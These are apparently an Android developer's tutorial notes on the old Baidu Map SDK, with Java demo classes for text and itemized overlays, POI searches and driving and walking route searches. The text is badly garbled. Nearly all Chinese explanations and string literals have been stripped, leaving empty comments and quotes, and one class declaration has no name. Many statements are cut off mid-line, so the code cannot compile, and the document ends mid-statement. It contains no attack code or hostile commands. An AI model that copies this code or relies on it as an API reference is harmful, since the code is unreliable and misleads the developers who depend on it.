								//	2.	TextOverlay,	addText(TextItem)	.
								//	3.	MapView.getOverlays().add()overlay mapview
								//	4.	MapView.refresh()	Overlay
								//	1MapViewOverlay
								List<Overlay>	overlays	=	mMapView.getOverlays();
								
								//	2
								//	2-1TextItem
								TextOverlay	overlay	=	new	TextOverlay(mMapView);
								TextItem	textItem	=	new	TextItem();
								textItem.text	=	"" ;
								textItem.fontSize	=	30;
								textItem.fontColor	=	getColor();
								textItem.pt	=	geoPoint;
								//	2-2TextOverlay,	addText(TextItem)	.
								overlay.addText(textItem);
								overlays.add(overlay);
								
								//	3
								//	MapView.refresh()	Overlay
								mMapView.refresh();
				}
				/**



					*	
					*	@return
					*/
				private	Color	getColor()	{
								Symbol.Color	color	=	new	Symbol().new	Color();//	
								color.red	=	255;
								color.green	=	0;
								color.blue	=	0;
								color.alpha	=	100;//	
								return	color;
				}
}





__ItemizedOverlay

ItemizedOverlay	
public	class	ItemizedOverlay<Item	extends	OverlayItem>	

ItemizedOverlay

1.	OverlayItem	overlay
2.	ItemizedOverlay,	 addItem(OverlayItem)	overlay.	
3.	overlay	 addItem(List)	.	
3.	MapView.getOverlays().add()overlaymapview
4.	MapView.refresh()	Overlay

①public	ItemizedOverlay(Drawable	defaultMarker,MapView	mapView)		ItemizedOverlay

defaultMarker	-	itemDrawable,boundCenterBottom(marker))

②public	class	OverlayItem			overlay

OverlayItemItemizedOverlayOverlayItemoverlayItemizedOverlay

public	OverlayItem(GeoPoint	point,	java.lang.String	title,	java.lang.String	snippet)



package	cn.zengfansheng.mybaidumap.overlay;
import	java.util.List;
import	android.graphics.drawable.Drawable;
import	android.os.Bundle;
import	cn.zengfansheng.mybaidumap.BaseActivity;
import	cn.zengfansheng.mybaidumap.R;
import	com.baidu.mapapi.map.ItemizedOverlay;
import	com.baidu.mapapi.map.Overlay;
import	com.baidu.mapapi.map.OverlayItem;
import	com.baidu.platform.comapi.basestruct.GeoPoint;
/**
	*	
	*/
public	class	extends	BaseActivity	{
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								drawItemizedOverlay();
				}
				/**
					*	
					*/
				private	void	drawItemizedOverlay()	{
								//	1Overlay
								List<Overlay>	overlays	=	mMapView.getOverlays();
								//	2Overlay
								Drawable	defaultMarker	=		getResources().getDrawable(R.drawable.eat_icon
								ItemizedOverlay<OverlayItem>	overlay	=	new	ItemizedOverlay<OverlayItem>(defaultMarker,	
								seItemizedOverlaytData(overlay);
								//	
								overlays.add(overlay);
								//	3
								mMapView.refresh();
				}
				private	void	seItemizedOverlaytData(ItemizedOverlay<OverlayItem>	overlay)	{
								//	
								//	1.	OverlayItem	overlay



								//	2.	ItemizedOverlay,	addItem(OverlayItem)	overlay.
								//	3.	overlay	addItem(List)	.
								//	3.	MapView.getOverlays().add()overlay mapview
								//	4.	MapView.refresh()	Overlay
								
								//OverlayItem(GeoPoint	point,	java.lang.String	title,	java.lang.String	snippet)	
								OverlayItem	overlayItem	=	new	OverlayItem(geoPoint,	"title" ,	"snippet"
								overlay.addItem(overlayItem);
								
								
								overlayItem	=	new	OverlayItem(new	GeoPoint(latitudeE6	+	10000,	longitudeE6
								overlay.addItem(overlayItem);
								overlayItem	=	new	OverlayItem(new	GeoPoint(latitudeE6,	longitudeE6	+	10000),	
								overlay.addItem(overlayItem);
								overlayItem	=	new	OverlayItem(new	GeoPoint(latitudeE6	-	10000,	longitudeE6
								overlay.addItem(overlayItem);
				}
}



	

	

OverlayItemView



	
1ItemizedOverlay<Item	extends OverlayItem>
①	protected	boolean	onTap(int	index)		item	itemitemfalse

trueoverlayfalse
②	public	final	OverlayItem	getItem(int	position)	OverlayItem
③	public	boolean	updateItem(OverlayItem	item)	item,itemaddoverlay.

2OverlayItem	 overlay
OverlayItemItemizedOverlayOverlayItemoverlayItemizedOverlay

3
public	MapView.LayoutParams(int	width,				view
																												int	height,		view
																												GeoPoint	point,	view()
																												int	alignment)	

package	cn.zengfansheng.mybaidumap.overlay;
import	java.util.List;
import	android.graphics.drawable.Drawable;
import	android.os.Bundle;
import	android.view.View;
import	android.widget.TextView;
import	cn.zengfansheng.mybaidumap.BaseActivity;
import	cn.zengfansheng.mybaidumap.R;
import	com.baidu.mapapi.map.ItemizedOverlay;



import	com.baidu.mapapi.map.MapView;
import	com.baidu.mapapi.map.MapView.LayoutParams;
import	com.baidu.mapapi.map.Overlay;
import	com.baidu.mapapi.map.OverlayItem;
import	com.baidu.platform.comapi.basestruct.GeoPoint;
/**
	*	
	*/
public	class	ItemizedOverlayDemo	extends	BaseActivity	{
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								initPop();
								drawItemizedOverlay();
				}
				//	NOTES=========3OverlayItempop============
				private	View	view;
				private	TextView	tvTitle;//	
				/**
					*	pop
					*/
				private	void	initPop()	{
								view	=	View.inflate(getApplication(),	R.layout.pop,	null);

								tvTitle	=	(TextView)	view.findViewById(R.id.tv_title);
								//	viewMapView,MapViewLayoutParams
								//MapView.LayoutParams	params	=	new	MapView.LayoutParams(view.getWidth(),	view.getHeight(),
																//null,	com.baidu.mapapi.map.MapView.LayoutParams.BOTTOM_CENTER);
								MapView.LayoutParams	params	=	new	MapView.LayoutParams(LayoutParams.
								null,	LayoutParams.BOTTOM_CENTER);

								mMapView.addView(view,	params);
								//	
								view.setVisibility(View.GONE);
				}
				//	NOTES===========================2===========================
				/**



					*	
					*/
				private	void	drawItemizedOverlay()	{

								//	1Overlay
								List<Overlay>	overlays	=	mMapView.getOverlays();

								//	2Overlay
								//	ItemizedOverlayList
								Drawable	defaultMarker	=		getResources().getDrawable(R.drawable.eat_icon
								ItemizedOverlay<OverlayItem>	overlay	=	new	ItemizedOverlay<OverlayItem>(defaultMarker,	
												//	
												@Override
												protected	boolean	onTap(int	index)	{
																OverlayItem	item	=	this.getItem(index);
																
																String	title	=	item.getTitle();
																//	String	snippet	=	item.getSnippet();
																tvTitle.setText(title);
																//	
																view.setVisibility(View.VISIBLE);
																MapView.LayoutParams	params	=	new	MapView.LayoutParams(LayoutParams.
																								item.getPoint(),	LayoutParams.BOTTOM_CENTER);
																System.out.println("view:"+view.getWidth()	+	":"	+	view.getHeight());
																System.out.println("layout:"+LayoutParams.WRAP_CONTENT+":"+LayoutParams.
																//	FIXME:view.getWidth()LayoutParams.WRAP_CONTENT
//																MapView.LayoutParams	params	=	new	MapView.LayoutParams(view.getWidth(),	view.getHeight(),
//																								item.getPoint(),	com.baidu.mapapi.map.MapView.LayoutParams.BOTTOM_CENTER);
																mMapView.updateViewLayout(view,	params);
																return	super.onTap(index);
																//	trueoverlayfalse
												}
								};
								seItemizedOverlaytData(overlay);
								//	
								overlays.add(overlay);
								//	3



								mMapView.refresh();
				}
				//	NOTES======================1ItemizedOverlay==================
				/**
					*	ItemizedOverlay
					*	@param	overlay
					*/
				private	void	seItemizedOverlaytData(ItemizedOverlay<OverlayItem>	overlay)	{
								//	
								//	1.	OverlayItem	overlay
								//	2.	ItemizedOverlay,	addItem(OverlayItem)	overlay.
								//	3.	overlay	addItem(List)	.
								//	3.	MapView.getOverlays().add()overlay mapview
								//	4.	MapView.refresh()	Overlay
								
								//OverlayItem(GeoPoint	point,	java.lang.String	title,	java.lang.String	snippet)	
								OverlayItem	overlayItem	=	new	OverlayItem(geoPoint,	"title" ,	"snippet"
								overlay.addItem(overlayItem);
								
								
								overlayItem	=	new	OverlayItem(new	GeoPoint(latitudeE6	+	10000,	longitudeE6
								overlay.addItem(overlayItem);
								overlayItem	=	new	OverlayItem(new	GeoPoint(latitudeE6,	longitudeE6	+	10000),	
								overlay.addItem(overlayItem);
								overlayItem	=	new	OverlayItem(new	GeoPoint(latitudeE6	-	10000,	longitudeE6
								overlay.addItem(overlayItem);
				}
}



wiz:open_attachment?guid=c8fb94f8-2c20-423b-899a-06117ab72777


__PoiSearchInbounds()

	

1MKSearchinitMKSearchListener		
2MKSearchMKSearchListener

1MKSearch			 .

①public	boolean	init(BMapManager	bmapMan,	MKSearchListener	listener)		

②

public	int	poiSearchInbounds(java.lang.String	key,	GeoPoint	ptLB,	GeoPoint	ptRT)		

public	int	poiSearchNearBy(java.lang.String	key,	GeoPoint	pt,	int	radius)		.	1.1
	



public	int	poiSearchInCity(java.lang.String	city,	java.lang.String	key)			poi.

2MKSearchListener		

poi,,,

PoiSearchInbounds

	

	
1public	class	 MKSearch
①	 public	int	poiSearchInbounds(java.lang.String	key	,	GeoPoint	ptLB,	GeoPoint	ptRT)		
.

MKSearchListeneronGetPoiResult
key	-		
ptLB	-	
ptRT	-	

2 public	interface	MKSearchListener		
①void	onGetPoiResult(MKPoiResult	result,	int	type,	int	iError)				poi
result	-	



type	-	:	type	MKSearch.TYPE_POI_LIST,	type
MKSearch.TYPE_CITY_LIST
iError	-	0

3 public	class	MKPoiResult
poi
MKSearchResultNotifieronGetPoiResult
public	java.util.ArrayList<MKPoiInfo>	getAllPoi()

4 public	class	PoiOverlay		poioverlay	.
public	void	setData(java.util.ArrayList<MKPoiInfo>	data)		poi	
data	-	:	poi	

①PoiSearchInboundsDemo.java
package	cn.zengfansheng.mybaidumap.search;
import	java.util.ArrayList;
import	java.util.List;
import	android.os.Bundle;
import	android.widget.Toast;
import	cn.zengfansheng.mybaidumap.BaseActivity;
import	cn.zengfansheng.mybaidumap.BaseMKMapViewListener;
import	cn.zengfansheng.mybaidumap.BaseMkSearchListener;
import	com.baidu.mapapi.map.MapPoi;
import	com.baidu.mapapi.map.Overlay;
import	com.baidu.mapapi.map.PoiOverlay;
import	com.baidu.mapapi.search.MKPoiInfo;
import	com.baidu.mapapi.search.MKPoiResult;
import	com.baidu.mapapi.search.MKSearch;
import	com.baidu.mapapi.search.MKSearchListener;
import	com.baidu.platform.comapi.basestruct.GeoPoint;
/**
	*	
	*/
public	class	PoiSearchInboundsDemo	extends	BaseActivity	{



				private	MKSearch	mkSearch;//	
				private	MKSearchListener	mkSearchListener;//	

				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								searchInBounds();
				}
				//	NOTES===========================1===========================
				//	1MKSearchMKSearchListener
				//	2Overlay

				//	NOTES===========================2	======================
				/**
					*	
					*/
				private	void	searchInBounds()	{
								mkSearch	=	new	MKSearch();
								//	1
								mkSearchListener	=	new	MyMkSearchListener();
								mkSearch.init(mBMapMan,	mkSearchListener);

								//	2key
								GeoPoint	ptLB	=	new	GeoPoint((int)	(40.035	*	1E6),	(int)	(116.296	*	1E6));
								GeoPoint	ptRT	=	new	GeoPoint((int)	(40.051	*	1E6),	(int)	(116.303	*	1E6));
								mkSearch.poiSearchInbounds("" ,	ptLB,	ptRT);
				}
				//	NOTES===========================3===========================
				/**
					*	()
					*/
				private	class	MyMkSearchListener	extends	BaseMkSearchListener	{
								@Override
								public	void	onGetPoiResult(MKPoiResult	result,	int	type,	int	iError)	{
												if	(iError	==	0	&&	result	!=	null)	{//	0



																//PoiOverlay
																//	1MapViewOverlay
																List<Overlay>	overlays	=	mMapView.getOverlays();

																//	2
																PoiOverlay	poiOverlay	=	new	PoiOverlay(
																								PoiSearchInboundsDemo.this,	mMapView);
																overlays.add(poiOverlay);

																//	2-1,resultOverlay
																ArrayList<MKPoiInfo>	data	=	result.getAllPoi();
																poiOverlay.setData(data);
																
																mapController.enableClick(true);
																MyMKMapViewListener	myMKMapViewListener	=	new	MyMKMapViewListener();
																mMapView.regMapViewListener(mBMapMan,	myMKMapViewListener);
																
																//	3
																mMapView.refresh();
												}	else	{
																Toast.makeText(getApplicationContext(),	"" ,	0).show();
												}
								}
				}
				//	NOTES===========================4MapView
===========================
				/**
					*	MapView
					*/
				private	class	MyMKMapViewListener	extends	BaseMKMapViewListener	{
								@Override
								public	void	onClickMapPoi(MapPoi	mapPoiInfo)	{
												super.onClickMapPoi(mapPoiInfo);
												Toast.makeText(getApplicationContext(),	mapPoiInfo.strText,	0)
																				.show();
								}
				}



}
②		 MkSearchListener

BaseMkSearchListener.java

package	cn.zengfansheng.mybaidumap;

	

import	com.baidu.mapapi.search.MKAddrInfo;

import	com.baidu.mapapi.search.MKBusLineResult;

import	com.baidu.mapapi.search.MKDrivingRouteResult;

import	com.baidu.mapapi.search.MKPoiResult;

import	com.baidu.mapapi.search.MKSearchListener;

import	com.baidu.mapapi.search.MKShareUrlResult;

import	com.baidu.mapapi.search.MKSuggestionResult;

import	com.baidu.mapapi.search.MKTransitRouteResult;

import	com.baidu.mapapi.search.MKWalkingRouteResult;

	

/**

*	mkSearchListener()

*/

public	abstract	class	BaseMkSearchListener	implements	MKSearchListener	{

	

				@Override

				public	void	onGetAddrResult(MKAddrInfo	arg0,	int	arg1)	{

				}

	

				@Override

				public	void	onGetBusDetailResult(MKBusLineResult	arg0,	int	arg1)	{

				}

	

				@Override

				public	void	onGetDrivingRouteResult(MKDrivingRouteResult	arg0,	int

				}

	

				@Override

				public	void	onGetPoiDetailSearchResult(int	arg0,	int	arg1)	{

				}

	

				/**

					*	poi

					*/

				@Override

				public	void	onGetPoiResult(MKPoiResult	result,	int	type,	int	iError)	{

				}

	

				@Override

				public	void	onGetShareUrlResult(MKShareUrlResult	arg0,	int	arg1,	

				}

	

				@Override

				public	void	onGetSuggestionResult(MKSuggestionResult	arg0,	int	arg1)	{



				}

	

				@Override

				public	void	onGetTransitRouteResult(MKTransitRouteResult	arg0,	int

				}

	

				@Override

				public	void	onGetWalkingRouteResult(MKWalkingRouteResult	arg0,	int

				}

	

}

③		MapView		 MKMapViewListener

BaseMKMapViewListener.java

package	cn.zengfansheng.mybaidumap;

	

import	android.graphics.Bitmap;

	

import	com.baidu.mapapi.map.MKMapViewListener;

import	com.baidu.mapapi.map.MapPoi;

	

/**

*		MKMapViewListener

*/

public	abstract	class	BaseMKMapViewListener	implements	MKMapViewListener	{

				//		

	

				/**

					*	

					*/

				@Override

				public	void	onClickMapPoi(MapPoi	mapPoiInfo)	{

				}

	

				/**

					*	

					*/

				@Override

				public	void	onGetCurrentMap(Bitmap	bitmap)	{

				}

	

				/**

					*	

					*/

				@Override

				public	void	onMapAnimationFinish()	{

				}

	

				/**

					*	



					*/

				@Override

				public	void	onMapLoadFinish()	{

				}

	

				/**

					*	

					*/

				@Override

				public	void	onMapMoveFinish()	{

				}

	

}



__poiSearchNearBy()

public	int	poiSearchNearBy	(java.lang.String	key	,	GeoPoint	pt	,	int	radius)

.	1.1

MKSearchListeneronGetPoiResult

key	-	
pt	-	
radius	-	:

0-1

package	cn.zengfansheng.mybaidumap.search;
import	android.os.Bundle;
import	android.widget.Toast;
import	cn.zengfansheng.mybaidumap.BaseActivity;
import	cn.zengfansheng.mybaidumap.BaseMKMapViewListener;



import	cn.zengfansheng.mybaidumap.BaseMkSearchListener;
import	com.baidu.mapapi.map.MapPoi;
import	com.baidu.mapapi.map.PoiOverlay;
import	com.baidu.mapapi.search.MKPoiResult;
import	com.baidu.mapapi.search.MKSearch;
import	com.baidu.mapapi.search.MKSearchListener;
/**
	*	
	*/
public	class	PoiSearchNearByDemo	extends	BaseActivity	{
				private	MKSearch	mkSearch;
				private	MKSearchListener	mkSearchListener;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								searchNearBy();
				}
				private	void	searchNearBy()	{
								mkSearch	=	new	MKSearch();
								//	1
								mkSearchListener	=	new	MyMKSearchListener();
								mkSearch.init(mBMapMan,	mkSearchListener);
								//	2
								int	radius	=	1000;
								mkSearch.poiSearchNearBy("" ,	geoPoint,	radius);
				}
				/**
					*	
					*/
				private	class	MyMKSearchListener	extends	BaseMkSearchListener	{
								@Override
								public	void	onGetPoiResult(MKPoiResult	result,	int	type,	int	iError)	{
												super.onGetPoiResult(result,	type,	iError);
												if	(iError	==	0	&&	result	!=	null)	{
																
																PoiOverlay	poiOverlay	=	new	PoiOverlay(PoiSearchNearByDemo.this



																//	1Overlaysoverlay
																mMapView.getOverlays().add(poiOverlay);

																//	2overlay
																poiOverlay.setData(result.getAllPoi());
																
																//	MapView
																mapController.enableClick(true);
																mMapView.regMapViewListener(mBMapMan,new	BaseMKMapViewListener()	{
																				@Override
																				public	void	onClickMapPoi(MapPoi	mapPoiInfo)	{
																								super.onClickMapPoi(mapPoiInfo);
																								Toast.makeText(getApplicationContext(),	mapPoiInfo.strText,	0).show();
																				}
																				
																});
																
																//	3MapView
																mMapView.refresh();
												}
								}
				}
}





__poiSearchInCity(poi)

public	int	poiSearchInCity	(java.lang.String	city,java.lang.String	key)

poi.

MKSearchListeneronGetPoiResult

city	-	
key	-	

0-1

1	public	class	MKPoiInfo		poi①	public	java.lang.String	uid	poi

②
public	java.lang.String	name

poi

public	java.lang.String	address



poi

public	java.lang.String	city

poi

public	java.lang.String	phoneNum

poi

public	java.lang.String	postCode

poi

public	int	ePoiType

poi01234,

public	GeoPoint	pt

poi,	ePoiType24pt	

public	boolean	hasCaterDetails

poi

2 public	class	MKPoiResult					poi

MKSearchResultNotifieronGetPoiResult

①public	java.util.ArrayList<MKPoiInfo>	getAllPoi()	poi

②public	MKPoiInfo	getPoi(int	index)		indexpoi



index	-	poiindex0

poi

③public	int	getNumPois()			poi

poi

④public	int	getCurrentNumPois()	poi10poi

poi

⑤public	int	getNumPages()	poi

poi

⑥public	int	getPageIndex()		

3public	class	MKSearch	 .

public	int	goToPoiPage(int	num)

poi.



num	-	

0-1

package	cn.zengfansheng.mybaidumap.search;

	

import	java.util.ArrayList;

	

import	android.os.Bundle;

import	android.view.View;

import	android.view.View.OnClickListener;

import	android.widget.Button;

import	android.widget.LinearLayout;

import	android.widget.Toast;

import	cn.zengfansheng.mybaidumap.BaseActivity;

import	cn.zengfansheng.mybaidumap.BaseMKMapViewListener;

import	cn.zengfansheng.mybaidumap.BaseMkSearchListener;

import	cn.zengfansheng.mybaidumap.R;

	

import	com.baidu.mapapi.map.MapPoi;

import	com.baidu.mapapi.map.PoiOverlay;

import	com.baidu.mapapi.search.MKPoiInfo;

import	com.baidu.mapapi.search.MKPoiResult;

	

/**

*	3poi.

*/

public	class	PoiSearchInCityDemo	extends	BaseActivity	implements

								OnClickListener	{

	

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

	

								//	

								initComponent();

	

								//	poi

								poiSearchInCity();

	

								//	MapViewpoi



								mapController.enableClick(true);

								mMapView.regMapViewListener(mBMapMan,	new

BaseMKMapViewListener()	{

	

												@Override

												public	void	onClickMapPoi(MapPoi	mapPoiInfo)	{

																super.onClickMapPoi(mapPoiInfo);

																Toast.makeText(getApplicationContext(),

mapPoiInfo.strText,

																								Toast.LENGTH_SHORT).show();

												}

								});

				}

	

				//	NOTES===========================1poi

===========================

				/**

					*	1poi

					*/

				private	void	poiSearchInCity()	{

	

								//	1init

								mkSearchListener	=	new	MyMkSearchListener();

								mkSearch.init(mBMapMan,	mkSearchListener);

	

								//	2

								//public	int	poiSearchInCity	(java.lang.String

city,java.lang.String	key)							

								mkSearch.poiSearchInCity("" ,	"" );

				}

	

				//	NOTES======================	2MkSearchListener

===================

				/**

					*	2MkSearchListener

					*/

				private	class	MyMkSearchListener	extends	BaseMkSearchListener	{

	

								@Override

								public	void	onGetPoiResult(MKPoiResult	result,	int	type,

int	iError)	{

												super.onGetPoiResult(result,	type,	iError);

	

												if	(iError	==	0	&&	result	!=	null)	{

	

																//	

																mMapView.getOverlays().clear();

	

																PoiOverlay	poiOverlay	=	new



PoiOverlay(PoiSearchInCityDemo.this,	mMapView);

	

																//	TODO	PoiOverlay

																setPoiOverlayData(result,	poiOverlay);

	

																//	1MapViewOverLayOverLay

																mMapView.getOverlays().add(poiOverlay);

																//	2

																mMapView.refresh();

	

												}	else	{

																Toast.makeText(getApplicationContext(),	"" ,

																								Toast.LENGTH_SHORT).show();

												}

								}

				}

	

				//	NOTES===========================3

PoiOverlay===========================

				private	int	currentPage;//	

				private	int	numPages;//	

				/**

					*	3PoiOverlay

					*	@param	result

					*	@param	poiOverlay

					*/

				private	void	setPoiOverlayData(MKPoiResult	result,	PoiOverlay

poiOverlay)	{

	

								currentPage	=	result.getPageIndex();//	

	

								int	numPois	=	result.getNumPois();//	poi

								numPages	=	result.getNumPages();

								int	currentNumPois	=	result.getCurrentNumPois();//	poi

	

								System.out.println("poi" 	+	currentNumPois);

								Toast.makeText(getApplicationContext(),	"/" +

(currentPage+1)+"/"+numPages+"	" +numPois,

																Toast.LENGTH_SHORT).show();

//												ArrayList<MKPoiInfo>	data	=	new	ArrayList<MKPoiInfo>

();

//												for	(int	i	=	0;	i	<	numPages;	i++)	{

//																data.add(result.getPoi(i));

//												}

	

								ArrayList<MKPoiInfo>	data	=	result.getAllPoi();

								poiOverlay.setData(data);

				}

	



				//	NOTES===========================4

===========================

				private	LinearLayout	llPage;

				private	Button	btnPrePage;//	

				private	Button	btnNextPage;//	

				private	Button	btnRandomPage;//	

	

				/**

					*	

					*/

				private	void	initComponent()	{

								llPage	=	(LinearLayout)	this.findViewById(R.id.ll_page);

								llPage.setVisibility(View.VISIBLE);

	

								btnPrePage	=	(Button)	this.findViewById(R.id.bt_prepage);

								btnNextPage	=	(Button)	this.findViewById(R.id.bt_nextpage);

								btnRandomPage	=	(Button)

this.findViewById(R.id.bt_randompage);

	

								btnPrePage.setOnClickListener(this);

								btnNextPage.setOnClickListener(this);

								btnRandomPage.setOnClickListener(this);

				}

				@Override

				public	void	onClick(View	v)	{

	

								switch	(v.getId())	{

								case	R.id.bt_prepage://	

												if	(currentPage	>	0)	{

																currentPage--;

																mkSearch.goToPoiPage(currentPage);

												}	else	{

																mkSearch.goToPoiPage(numPages	-	1);

												}

												break;

								case	R.id.bt_nextpage://	

												if	(currentPage	<	numPages	-	1)	{

																currentPage++;

																mkSearch.goToPoiPage(currentPage);

												}	else	{

																mkSearch.goToPoiPage(0);

												}

												break;

								case	R.id.bt_randompage://	,Overlay

												//	Random	random	=	new	Random();

												//	int	randomPage	=	random.nextInt();

												//	int	page	=	Math.abs(randomPage)	%	numPages;

												//	System.out.println("page:"	+	page);

												//	mkSearch.goToPoiPage(page);



												break;

								}

				}

	

}

	



___	

	

public	class	MKSearch	.	 RouteOverlay	

1public	int	 drivingSearch	(	java.lang.String	startCity,	MKPlanNode		start,	java.lang.String	endCity,	
.

MKSearchListeneronGetDrivingRouteResult

startCity	-	
start	-	
endCity	-	
end	-	

0-1



2 public	int	setTransitPolicy(int	policy)	//

.

policy	-	EBUS_TIME_FIRST:EBUS_TRANSFER_FIRST:EBUS_WALK_FIRST:
EBUS_NO_SUBWAY:	

0-1

3 public	int	setDrivingPolicy(int	policy)// setTransitPolicy()

.	

policy	-	ECAR_TIME_FIRST:ECAR_DIS_FIRST:ECAR_FEE_FIRST:
ECAR_AVOID_JAM:	.

0-1

4 public	int	drivingSearch	(java.lang.String	startCity,MKPlanNode	start,	

															java.lang.String	endCity,MKPlanNode	end,	java.util.List<MKWpNode>	wpNodes)

,

MKSearchListeneronGetDrivingRouteResult

startCity	-	
start	-	
endCity	-	
end	-	
wpNodes	-	



0-1

	 public	class	MKPlanNode		

public	java.lang.String	name

public	GeoPoint	pt

public	class	RouteOverlay		SDK
setdata

public	class	MKDrivingRouteResult		

MKSearchListeneronGetDrivingRouteResult

①public	int	getNumPlan()		

②public	MKRoutePlan	getPlan(int	index)		index

index	-	0

index

public	class	MKRoutePlan



public	MKRoute	getRoute(int	index)

index	-	,	0

public	class	MKWpNode

1.	city
2.		

package	cn.zengfansheng.mybaidumap.searchCar;
import	java.util.ArrayList;
import	java.util.List;
import	android.os.Bundle;
import	android.widget.Toast;
import	cn.zengfansheng.mybaidumap.BaseActivity;
import	cn.zengfansheng.mybaidumap.BaseMKMapViewListener;
import	cn.zengfansheng.mybaidumap.BaseMkSearchListener;
import	com.baidu.mapapi.map.MapPoi;
import	com.baidu.mapapi.map.RouteOverlay;
import	com.baidu.mapapi.search.MKDrivingRouteResult;
import	com.baidu.mapapi.search.MKPlanNode;
import	com.baidu.mapapi.search.MKRoute;
import	com.baidu.mapapi.search.MKRoutePlan;



import	com.baidu.mapapi.search.MKSearch;
import	com.baidu.mapapi.search.MKWpNode;
import	com.baidu.platform.comapi.basestruct.GeoPoint;
/**
	*	
	*/
public	class	DrivingSearchDemo	extends	BaseActivity	{
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);

								drivingSearch();

								mapController.enableClick(true);
								mMapView.regMapViewListener(mBMapMan,	new	BaseMKMapViewListener()	{
												@Override
												public	void	onClickMapPoi(MapPoi	mapPoiInfo)	{
																super.onClickMapPoi(mapPoiInfo);
																Toast.makeText(getApplicationContext(),	mapPoiInfo.strText,
																								Toast.LENGTH_SHORT).show();
												}
								});
				}
				/**
					*	1	
					*/
				private	void	drivingSearch()	{

								//	1
								mkSearchListener	=	new	MyMkSearchListener();
								mkSearch.init(mBMapMan,	mkSearchListener);

								//	2
								String	startCity	=	"" ;
								MKPlanNode	start	=	new	MKPlanNode();
								start.pt	=	new	GeoPoint((int)	(39.915	*	1E6),	(int)	(116.404	*	1E6));



								String	endCity	=	"" ;
								MKPlanNode	end	=	new	MKPlanNode();
								end.pt	=	new	GeoPoint(40057031,	116307852);

								//	
								//	mkSearch.setTransitPolicy(MKSearch.ECAR_TIME_FIRST);//setDrivingPolicysetTransitPolicy
								int	policy	=	mkSearch.setDrivingPolicy(MKSearch.ECAR_DIS_FIRST);//	
								System.out.println("policy:"	+	policy);

								//drivingSearch(java.lang.String	startCity,MKPlanNode	start,java.lang.String	endCity,MKPlanNode	end)
//								mkSearch.drivingSearch(startCity,	start,	endCity,	end);//	MKPlanNode pt
								List<MKWpNode>	list	=	new	ArrayList<MKWpNode>();
								MKWpNode	mkWpNode	=	new	MKWpNode();
								mkWpNode.city	=	"" ;
								mkWpNode.name	=	"" ;
								list.add(mkWpNode);
								mkWpNode	=	new	MKWpNode();
								mkWpNode.city	=	"" ;
								mkWpNode.name	=	"" ;

								mkSearch.drivingSearch(startCity,	start,	endCity,	end,	list);
				}
				/**
					*	2
					*/
				private	class	MyMkSearchListener	extends	BaseMkSearchListener	{
								@Override
								public	void	onGetDrivingRouteResult(MKDrivingRouteResult	result,int	iError)	{
												super.onGetDrivingRouteResult(result,	iError);
												if	(iError	==	0	&&	result	!=	null)	{
																
																RouteOverlay	routeOverlay	=	new	RouteOverlay(DrivingSearchDemo.
																//	
																Toast.makeText(getApplicationContext(),	"
" +result.getNumPlan(),	Toast.LENGTH_SHORT).show();
																int	numPlan	=	result.getNumPlan();//	
																if	(numPlan	>	0)	{



																				MKRoutePlan	plan	=	result.getPlan(0);//	index
																				MKRoute	mkRoute	=	plan.getRoute(0);
																				routeOverlay.setData(mkRoute);
																				//	
																				mMapView.getOverlays().add(routeOverlay);
																				//	MapView
																				mMapView.refresh();
																}
												}	else	{
																Toast.makeText(getApplicationContext(),	"" ,
																								Toast.LENGTH_SHORT).show();
												}
								}
				}
				@Override
				protected	void	onPause()	{
								super.onPause();
								mkSearch.destory();
				}
}

①	 ECAR_TIME_FIRST		



	
②ECAR_DIS_FIRST		



	
③





___

	 	
			walkingSearch	
RouteOverlay	
①public	int	setTransitPolicy(int	policy)

.

policy	-	EBUS_TIME_FIRST:EBUS_TRANSFER_FIRST:
EBUS_WALK_FIRST:EBUS_NO_SUBWAY:	

0-1

②public	int
walkingSearch	(java.lang.String	startCity,	MKPlanNode	start,java.lang.String	endCity,	

.



MKSearchListener onGetWalkingRouteResult

startCity	-	
start	-	
endCity	-	
end	-	

0-1

package	cn.zengfansheng.mybaidumap.searchCar;
import	android.os.Bundle;
import	android.widget.Toast;
import	cn.zengfansheng.mybaidumap.BaseActivity;
import	cn.zengfansheng.mybaidumap.BaseMKMapViewListener;
import	cn.zengfansheng.mybaidumap.BaseMkSearchListener;
import	com.baidu.mapapi.map.MapPoi;
import	com.baidu.mapapi.map.RouteOverlay;
import	com.baidu.mapapi.search.MKPlanNode;
import	com.baidu.mapapi.search.MKRoute;
import	com.baidu.mapapi.search.MKRoutePlan;
import	com.baidu.mapapi.search.MKWalkingRouteResult;
/**
	*	
	*/
public	class	WalkingSearchDemo	extends	BaseActivity	{
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);

								walkingSearch();

								mapController.enableClick(true);
								mMapView.regMapViewListener(mBMapMan,	new	BaseMKMapViewListener()	{



												@Override
												public	void	onClickMapPoi(MapPoi	mapPoiInfo)	{
																super.onClickMapPoi(mapPoiInfo);
																Toast.makeText(getApplicationContext(),	mapPoiInfo.strText,
																								Toast.LENGTH_SHORT).show();
												}
								});
				}
				/**
					*	1 ---
					*/
				private	void	walkingSearch()	{

								//	1
								mkSearchListener	=	new	MyMkSearchListener();
								mkSearch.init(mBMapMan,	mkSearchListener);

								//	2
								String	startCity	=	"" ;
								String	endCity	=	"" ;
								MKPlanNode	start	=	new	MKPlanNode();
								start.pt	=	geoPoint;

								MKPlanNode	end	=	new	MKPlanNode();
								end.name	=	"" ;

								//int	policy	=	mkSearch.setDrivingPolicy(MKSearch.ECAR_TIME_FIRST);//	
								//	int	policy	=	mkSearch.setTransitPolicy(MKSearch.EBUS_WALK_FIRST);
								//	
								mkSearch.walkingSearch(startCity,	start,	endCity,	end);
				}
				/**
					*	2
					*/
				private	class	MyMkSearchListener	extends	BaseMkSearchListener	{
								@Override
								public	void	onGetWalkingRouteResult(MKWalkingRouteResult	result,	int	iError)	{



												super.onGetWalkingRouteResult(result,	iError);
												if	(iError	==	0	&&	result	!=	null)	{
																
																RouteOverlay	routeOverlay	=	new	RouteOverlay(WalkingSearchDemo.
																//	
																Toast.makeText(getApplicationContext(),	"
